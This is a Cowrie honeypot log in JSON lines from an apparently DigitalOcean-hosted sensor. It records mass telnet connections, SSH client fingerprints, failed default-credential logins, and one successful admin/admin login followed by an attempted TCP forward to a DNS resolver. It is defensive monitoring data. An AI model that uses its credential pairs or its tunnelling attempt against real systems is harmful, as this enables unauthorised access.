{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48466,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc9285e5ed73","protocol":"telnet","message":"New connection: 209.159.146.115:48466 (159.203.135.109:23) [session: bc9285e5ed73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:38.562420Z"}
{"eventid":"cowrie.session.closed","duration":31.42398428916931,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:40.478399Z","src_ip":"209.159.146.115","session":"c04eb82c2b97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.62282752990723,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:41.641417Z","src_ip":"209.159.146.115","session":"4d4b24b344c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.57230806350708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:41.823519Z","src_ip":"209.159.146.115","session":"f150ddb6e46e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56038,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a37cecfb218","protocol":"telnet","message":"New connection: 209.159.146.115:56038 (159.203.135.109:23) [session: 5a37cecfb218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:41.966224Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34650,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d2ede663346","protocol":"telnet","message":"New connection: 209.159.146.115:34650 (159.203.135.109:23) [session: 7d2ede663346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:42.208880Z"}
{"eventid":"cowrie.session.closed","duration":36.565906047821045,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:42.451481Z","src_ip":"209.159.146.115","session":"b0107803422b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.582231521606445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:43.123431Z","src_ip":"209.159.146.115","session":"ed117896e1f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.180.212.135","src_port":54090,"dst_ip":"159.203.135.109","dst_port":22,"session":"711a01bb1b3c","protocol":"ssh","message":"New connection: 103.180.212.135:54090 (159.203.135.109:22) [session: 711a01bb1b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:44.429712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:44.434198Z","src_ip":"103.180.212.135","session":"711a01bb1b3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45788,"dst_ip":"159.203.135.109","dst_port":23,"session":"106466e1c641","protocol":"telnet","message":"New connection: 209.159.146.115:45788 (159.203.135.109:23) [session: 106466e1c641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:44.547166Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:44.633352Z","src_ip":"103.180.212.135","session":"711a01bb1b3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47944,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b0214927e6d","protocol":"telnet","message":"New connection: 209.159.146.115:47944 (159.203.135.109:23) [session: 7b0214927e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:45.065826Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48012,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9dd631f2b53","protocol":"telnet","message":"New connection: 209.159.146.115:48012 (159.203.135.109:23) [session: e9dd631f2b53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:45.072384Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48150,"dst_ip":"159.203.135.109","dst_port":23,"session":"4084af00754a","protocol":"telnet","message":"New connection: 209.159.146.115:48150 (159.203.135.109:23) [session: 4084af00754a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:45.134794Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"test","message":"login attempt [root/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:45.441020Z","src_ip":"103.180.212.135","session":"711a01bb1b3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.023908853530884,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:45.476280Z","src_ip":"209.159.146.115","session":"d4e78d300c57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51706,"dst_ip":"159.203.135.109","dst_port":23,"session":"e34a5dd54197","protocol":"telnet","message":"New connection: 209.159.146.115:51706 (159.203.135.109:23) [session: e34a5dd54197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:46.181972Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:46.638024Z","src_ip":"103.180.212.135","session":"711a01bb1b3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54428,"dst_ip":"159.203.135.109","dst_port":23,"session":"61fa082f60c7","protocol":"telnet","message":"New connection: 209.159.146.115:54428 (159.203.135.109:23) [session: 61fa082f60c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:46.750463Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57550,"dst_ip":"159.203.135.109","dst_port":23,"session":"c36640138a83","protocol":"telnet","message":"New connection: 209.159.146.115:57550 (159.203.135.109:23) [session: c36640138a83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:47.556899Z"}
{"eventid":"cowrie.session.closed","duration":33.59947085380554,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:49.732785Z","src_ip":"209.159.146.115","session":"c61fa6c8b851","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.80079483985901,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:49.788557Z","src_ip":"209.159.146.115","session":"ea5933dde00d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.928120613098145,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:51.372773Z","src_ip":"209.159.146.115","session":"e86ede1b996a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44810,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6fc2f965d85","protocol":"telnet","message":"New connection: 209.159.146.115:44810 (159.203.135.109:23) [session: e6fc2f965d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:51.424952Z"}
{"eventid":"cowrie.session.closed","duration":34.637165546417236,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:51.695848Z","src_ip":"209.159.146.115","session":"6393ec6c234d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48462,"dst_ip":"159.203.135.109","dst_port":23,"session":"15ee0f867df8","protocol":"telnet","message":"New connection: 209.159.146.115:48462 (159.203.135.109:23) [session: 15ee0f867df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:52.227026Z"}
{"eventid":"cowrie.session.closed","duration":36.40624952316284,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:52.436252Z","src_ip":"209.159.146.115","session":"01c20ed736cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.858245849609375,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:53.019186Z","src_ip":"209.159.146.115","session":"0ede6e6149d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55726,"dst_ip":"159.203.135.109","dst_port":23,"session":"f90bed425424","protocol":"telnet","message":"New connection: 209.159.146.115:55726 (159.203.135.109:23) [session: f90bed425424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:53.393534Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56226,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb25fa4bd2b8","protocol":"telnet","message":"New connection: 209.159.146.115:56226 (159.203.135.109:23) [session: eb25fa4bd2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:53.447407Z"}
{"eventid":"cowrie.session.closed","duration":30.375078439712524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:54.180942Z","src_ip":"209.159.146.115","session":"ee1a342c5781","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33278,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4aaff6e31f3","protocol":"telnet","message":"New connection: 209.159.146.115:33278 (159.203.135.109:23) [session: e4aaff6e31f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:54.556646Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36880,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4fb85e21974","protocol":"telnet","message":"New connection: 209.159.146.115:36880 (159.203.135.109:23) [session: a4fb85e21974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:55.658133Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34648,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c054b0852ba","protocol":"telnet","message":"New connection: 209.159.146.115:34648 (159.203.135.109:23) [session: 8c054b0852ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:55.951301Z"}
{"eventid":"cowrie.session.closed","duration":32.47335410118103,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:57.912006Z","src_ip":"209.159.146.115","session":"b7a1cece45ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.732043504714966,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:58.031483Z","src_ip":"209.159.146.115","session":"1fb3bccfec15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.56451988220215,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:58.164206Z","src_ip":"209.159.146.115","session":"b0fed6292c2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.477288007736206,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:58.236099Z","src_ip":"209.159.146.115","session":"2af6c9dd42e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49944,"dst_ip":"159.203.135.109","dst_port":23,"session":"e166c62fc342","protocol":"telnet","message":"New connection: 209.159.146.115:49944 (159.203.135.109:23) [session: e166c62fc342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:58.344778Z"}
{"eventid":"cowrie.session.closed","duration":37.094085931777954,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:59.581201Z","src_ip":"209.159.146.115","session":"3f8ba3240423","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48754,"dst_ip":"159.203.135.109","dst_port":23,"session":"65592b6bafb8","protocol":"telnet","message":"New connection: 209.159.146.115:48754 (159.203.135.109:23) [session: 65592b6bafb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:01.314627Z"}
{"eventid":"cowrie.session.closed","duration":35.596744537353516,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:01.764785Z","src_ip":"209.159.146.115","session":"83ea41011ab5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48548,"dst_ip":"159.203.135.109","dst_port":23,"session":"041c017582cd","protocol":"telnet","message":"New connection: 209.159.146.115:48548 (159.203.135.109:23) [session: 041c017582cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:02.166139Z"}
{"eventid":"cowrie.session.closed","duration":32.62492275238037,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:02.344821Z","src_ip":"209.159.146.115","session":"c0c70d75c527","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41596,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cd3ae3f7b00","protocol":"ssh","message":"New connection: 159.203.92.129:41596 (159.203.135.109:22) [session: 0cd3ae3f7b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:04.115334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:04.119432Z","src_ip":"159.203.92.129","session":"0cd3ae3f7b00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:04.124596Z","src_ip":"159.203.92.129","session":"0cd3ae3f7b00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"android_apk","password":"android_apk","message":"login attempt [android_apk/android_apk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:04.139462Z","src_ip":"159.203.92.129","session":"0cd3ae3f7b00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.559428691864014,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:04.648062Z","src_ip":"209.159.146.115","session":"ae36d1ad55e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":18624,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c2d0e587250","protocol":"ssh","message":"New connection: 87.251.64.176:18624 (10.17.0.5:22) [session: 4c2d0e587250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:05.141590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:05.146981Z","src_ip":"87.251.64.176","session":"4c2d0e587250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:05.154435Z","src_ip":"159.203.92.129","session":"0cd3ae3f7b00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:05.361877Z","src_ip":"87.251.64.176","session":"4c2d0e587250","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:06.560808Z","src_ip":"87.251.64.176","session":"4c2d0e587250","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:06.779433Z","session":"4c2d0e587250","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:06.995475Z","src_ip":"87.251.64.176","session":"4c2d0e587250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.162182092666626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:07.156671Z","src_ip":"209.159.146.115","session":"4c0a88174b6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:07.214145Z","src_ip":"87.251.64.176","session":"4c2d0e587250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.81670069694519,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:08.524024Z","src_ip":"209.159.146.115","session":"1eab63c0fb57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.117855072021484,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:08.617884Z","src_ip":"209.159.146.115","session":"fd3b6817b8bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59808,"dst_ip":"159.203.135.109","dst_port":23,"session":"e879e199e332","protocol":"telnet","message":"New connection: 209.159.146.115:59808 (159.203.135.109:23) [session: e879e199e332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:10.319202Z"}
{"eventid":"cowrie.session.closed","duration":31.919617414474487,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:10.432245Z","src_ip":"209.159.146.115","session":"74dc0c0cb596","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":32976,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab2573a3e4f4","protocol":"telnet","message":"New connection: 209.159.146.115:32976 (159.203.135.109:23) [session: ab2573a3e4f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:46:10.678879Z"}
